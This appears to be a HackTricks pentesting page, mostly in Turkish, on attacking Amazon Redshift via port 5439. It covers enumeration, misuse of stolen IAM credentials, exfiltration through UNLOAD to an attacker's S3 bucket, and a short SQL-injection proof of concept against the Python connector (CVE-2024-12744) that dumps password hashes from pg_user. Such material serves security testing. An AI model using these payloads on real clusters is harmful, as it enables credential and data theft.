5439 - Pentesting Redshift
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Bu port Amazon Redshift (AWS yönetilen veri ambarı) tarafından kullanılır. Redshift wire protokolü biraz değiştirilmiş PostgreSQL protokolüdür, bu yüzden çoğu Postgres istemci aracı (psql, psycopg2, JDBC/ODBC) çalışır ama kimlik doğrulama ve TLS gereksinimleri farklıdır.
For more information check:
AWS - Redshift Enum - HackTricks Cloud
Enumeration & Connectivity
- Default port: 5439/TCP (customizable). Serverless workgroups da varsayılan olarak 5439 kullanır.
- Public endpoint pattern:
<clusterid>.<random>.<region>.redshift.amazonaws.com(public) or.redshift.amazonaws.com.cn(China). Serverless:<workgroup>.<random>.<region>.redshift-serverless.amazonaws.com. - TLS: Redshift requires TLS 1.2+ and perfect-forward-secrecy ciphers. Eski istemciler başarısız olabilir; modern TLS kullanmayı zorlayın:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
- Parameter group
require_ssldüz metnin (plaintext) izinli olup olmadığını kontrol eder. Yeni clusters/workgroupsdefault.redshift-2.0ilerequire_ssl=truekullanır, bu yüzden downgrade/mitm daha zor.
Quick enum with psql
# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;
Hatalar kötü parola ile kullanıcı yokluğu arasında ayrım yapar → potansiyel username enumeration during brute force.
Test edilecek kimlik doğrulama yolları
- Database password: master kullanıcı için (çoğunlukla
awsuserolarak adlandırılır) veya oluşturulmuş DB kullanıcıları için. - IAM auth tokens: kısa ömürlü kimlik bilgileri oluşturup libpq/JDBC/ODBC ile
sslmode=requireveauthMech=IAMveyaplugin_name=com.amazon.redshift.plugin.OktaCredentialsProviderkullanarak bağlanın. Çalınmış IAM creds/rollerini Redshift için eşdeğerrds-db:connecttarzı izinle kötüye kullanın.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
- IAM Identity Center / SAML / Azure AD plugins: JDBC
plugin_nameSSO için yerel bir webserver başlatabilir; yakalanan loopback callback SAML assertion veya temp creds leak edebilir.
Yaygın yanlış yapılandırmalar (ağ)
- Küme PubliclyAccessible=true olarak işaretlenmiş ve geniş açık SG (0.0.0.0/0) Postgres-benzeri bir yüzeyi brute force veya SQLi istismarı için açar.
- Default port 5439 ve varsayılan SG kolay keşif (Shodan/Censys) sağlar. Port değiştirmek küçük bir gizleme önlemidir ama sertleştirme kontrol listelerinde bazen atlanır.
- No enhanced VPC routing → COPY/UNLOAD, genel Internet üzerinden gider; saldırgan S3 bucket/endpoint kontrol ediyorsa exfil için kötüye kullanılabilir.
Saldırı notları
- Giriş başarılı olursa, serverless Redshift’te superuser yok; provisioned clusterlarda master kullanıcı geniş yetkilere sahiptir: UDF’ler (Python) oluşturma, Spectrum için external schema, saldırganın S3’ünden COPY ve veriyi exfil etmek için
UNLOAD. - Küme parametre grubunda
max_concurrency_scaling_clusters,require_ssl,enable_user_activity_loggingkontrol edin – logging kapalıysa gizlenmeye yardımcı olur. - Serverless workgroup’lar hâlâ TCP üzerinden erişilebilir; provisioned cluster’larla aynı SQL saldırı yüzeyine sahiptir.
- Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 ve ODBC 2.1.5.0
getSchemas/getTables/getColumnsiçinde tırnaklanmamış kullanıcı girdisi ile metadata sorguları oluşturuyor (CVE-2024-12744/5/6). Bir uygulama saldırganların catalog veya pattern argümanlarını kontrol etmesine izin verirse, connector tarafından kullanılan DB kullanıcısı ile çalışan keyfi SQL enjekte edebilirsiniz.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
- UDF execution model change: Python UDF’leri 30 Haziran 2026’da çalışmayı durduracak; sonrasında sadece Lambda UDF’leri izinli olacak. Offansif etki: eski provisioned cluster’lar hâlâ in-cluster kod yürütme için Python UDF’leri çalıştırır (dosya sistemi/ağ yok). Lambda UDF’leri kodu Lambda’ya taşır; burada IAM rolü Internet/VPC endpoint’lerine erişebilir, SSRF/pivot için fırsat sağlar ancak doğrudan cluster dosya sistemi erişimi olmaz. Python UDF’leri etkin eski cluster’ları taramak hâlâ RCE primitifleri verebilir.
Son güvenlik değişiklikleri (saldırı etkisi)
- Yeni cluster/snapshot’larda varsayılan olarak genel erişim devre dışı (10 Jan 2025 değişikliği). Eski olanlar hâlâ genel erişime açık olabilir.
- Encryption at rest + enforced TLS by default sniffing/mitm’i zorlaştırır; geçerli kimlik bilgileri veya VPC yoluna SSRF gerekir.
- Serverless VPCE rollout change (Jun 27, 2025): workgroup endpoint’leri oluşturulurken en fazla 3 AZ’de yaratılır. Keşif araçları erişilebilir IP’leri bulmak için AZ başına tüm workgroup VPCE DNS isimlerini listelemeli.
References
- AWS Security Bulletin – SQLi in Redshift JDBC/Python/ODBC drivers (CVE-2024-12744/5/6)
- AWS Big Data Blog – Python UDF end-of-support and migration to Lambda UDFs (Jan 2026)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


